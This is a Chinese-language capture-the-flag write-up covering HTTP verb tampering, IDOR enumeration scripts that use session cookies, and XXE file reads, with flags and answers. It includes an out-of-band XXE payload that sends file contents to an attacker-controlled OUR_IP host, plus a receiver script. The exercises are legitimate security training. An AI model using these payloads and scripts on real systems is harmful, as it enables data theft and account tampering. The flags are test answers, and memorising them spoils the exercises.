web攻击
HTTP方法篡改
绕过基本身份验证
确认服务器是否接受 HEAD
请求,可以先发送一个 OPTIONS
请求来探测服务器支持的 HTTP 方法:
┌──(kali㉿kali)-[~]
└─$ curl -i -X OPTIONS http://10.22.119.82/
HTTP/1.1 200 OK
Date: Mon, 25 Aug 2025 12:39:00 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.1.32
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
OPTIONS
方法返回 200 OK
,说明服务器支持多种 HTTP 方法
尝试再次拦截 reset
请求,这次改用 DELETE
方法,成功:
:
试着用你在本节中所学到的知识进入’reset.php’页面并删除所有文件。一旦所有的文件都被删除,你就能得到flag
NC{4lw4y5_c0v3r_4ll_v3rb5}
绕过安全过滤器
先用Burp Suite拦截请求,然后通过Change Request Method
功能切换请求方法:
:
尝试通过HTTP Verb Tampering绕过命令注入过滤器,并获取到/flag.txt
NC{b3_v3rb_c0n51573n7}
IDOR漏洞
大规模 IDOR 枚举
发现文档目录
:
访问文档目录,得到flag
:
根据本节所学,在/documents.php中获得前20个用户uid的文件列表,并获取’flag_xxx.txt’文件中的flag
NC{4ll_f1l35_4r3_m1n3}
绕过编码
点击下载,使用bp
拦截
:
尝试下载前20名
for i in $(seq 1 20); do
b64=$(echo -n $i | base64)
echo -e "\n[+] 正在下载合同 $i (contract=$b64)\n"
curl -s "http://10.22.36.166/download.php?contract=$b64" \
-H "Cookie: PHPSESSID=v7be455hvvi3hpvaqmf2kmfl6m" \
done
尝试下载前20名雇员的合同,其中一个包含flag,提交作为答案
NC{h45h1n6_1d5_w0n7_570p_m3}
不安全的 API 中的 IDOR
直接用user5登录修改信息,然后bp
拦截
:
尝试读取’uid=5’的用户的详细信息。他的’uuid’值是多少?
eb4fe264c10eb7a528b047aa983a4829
组合利用IDOR漏洞
┌──(kali㉿kali)-[~/Desktop]
└─$ vim shell.sh
#!/usr/bin/env bash
BASE="http://10.22.153.60"
COOKIE="PHPSESSID=hfj7dbmmoopo00jbcoitdgp1ga"
for i in {1..20}; do
resp=$(curl -s "${BASE}/profile/api.php/profile/$i" \
-H "Cookie: $COOKIE" \
-H "Accept: */*" \
-H "Referer: ${BASE}/profile.php" \
-H "Origin: $BASE" \
-H "User-Agent: Mozilla/5.0")
# 判断成功返回并打印用户信息
echo "$resp" | grep -q '"success":true' || continue
uid=$(echo "$resp" | grep -Po '"uid":"\K[^"]+')
user=$(echo "$resp" | grep -Po '"username":"\K[^"]+')
email=$(echo "$resp" | grep -Po '"email":"\K[^"]+')
role=$(echo "$resp" | grep -Po '"role":"\K[^"]+')
# 标记 admin
if [[ "$role" =~ admin|Admin ]]; then
echo "[HIGH] id=$uid user=$user email=$email role=$role"
else
echo " id=$uid user=$user email=$email role=$role"
fi
done
┌──(kali㉿kali)-[~/Desktop]
└─$ ./shell.sh
发现user10
为管理员,执行 GET
请求查看用户详情,获取uuid
,然后使用put
将把管理员的电子邮件改为 “flag@idor.NC
”
:
刷新用户页面,得到flag
:
试着把管理员的电子邮件改为 “flag@idor.NC”,修改成功之后,你可以在 "编辑资料 "页面上得到这个标志。
NC{1_4m_4n_1d0r_m4573r}
XXE漏洞
本地文件读取
用Burp拦截HTTP请求,会得到以下请求内容
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=connection.php">
]>
:
尝试读取’connection.php’文件的内容,并提交’api_key’的值作为答案。
UTM1NjM0MmRzJ2dmcTIzND0wMXJnZXdmc2RmCg
高级文件读取技术
尝试本节所说的方法没有回显,尝试上一节方法成功
:
尝试本章节的其他方法,读取’connection.php’文件的内容,并提交’api_key’的值作为答案。
UTM1NjM0MmRzJ2dmcTIzND0wMXJnZXdmc2RmCg
无回显数据读取
带外数据读取:
┌──(kali㉿kali)-[~]
└─$ vim xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/327a6c4304ad5938eaf0efb6cc3e53dc.php">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
编写一个简单的PHP脚本来自动检测编码后的文件内容、解码并输出到终端:
┌──(kali㉿kali)-[~]
└─$ vim index.php
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
┌──(kali㉿kali)-[~]
└─$ php -S 0.0.0.0:8000
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47070 Accepted
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47070 [200]: GET /xxe.dtd
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47070 Closing
[Mon Aug 25 20:20:27 2025] 10.22.160.215:47072 Accepted
[Mon Aug 25 20:20:27 2025]
NC{1_d0n7_n33d_0u7pu7_70_3xf1l7r473_d474}
需添加 &content;
引用我们的实体,使其向我们的机器发送包含文件内容的请求:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>
:
自动化 OOB 数据读取
┌──(kali㉿kali)-[~/XXEinjector-master]
└─$ ruby XXEinjector.rb --host=10.132.0.193 --httpport=8000 --file=xxe.req --path=/var/www/html/327a6c4304ad5938eaf0efb6cc3e53dc.php --oob=http --phpfilter
┌──(kali㉿kali)-[~/XXEinjector-master]
└─$ cat ./Logs/10.22.160.215/var/www/html/327a6c4304ad5938eaf0efb6cc3e53dc.php.log
NC{1_d0n7_n33d_0u7pu7_70_3xf1l7r473_d474}
在’/blind.html’页面上使用xxe盲注,读取web目录下的’327a6c4304ad5938eaf0efb6cc3e53dc.php’的内容并获得flag
NC{1_d0n7_n33d_0u7pu7_70_3xf1l7r473_d474}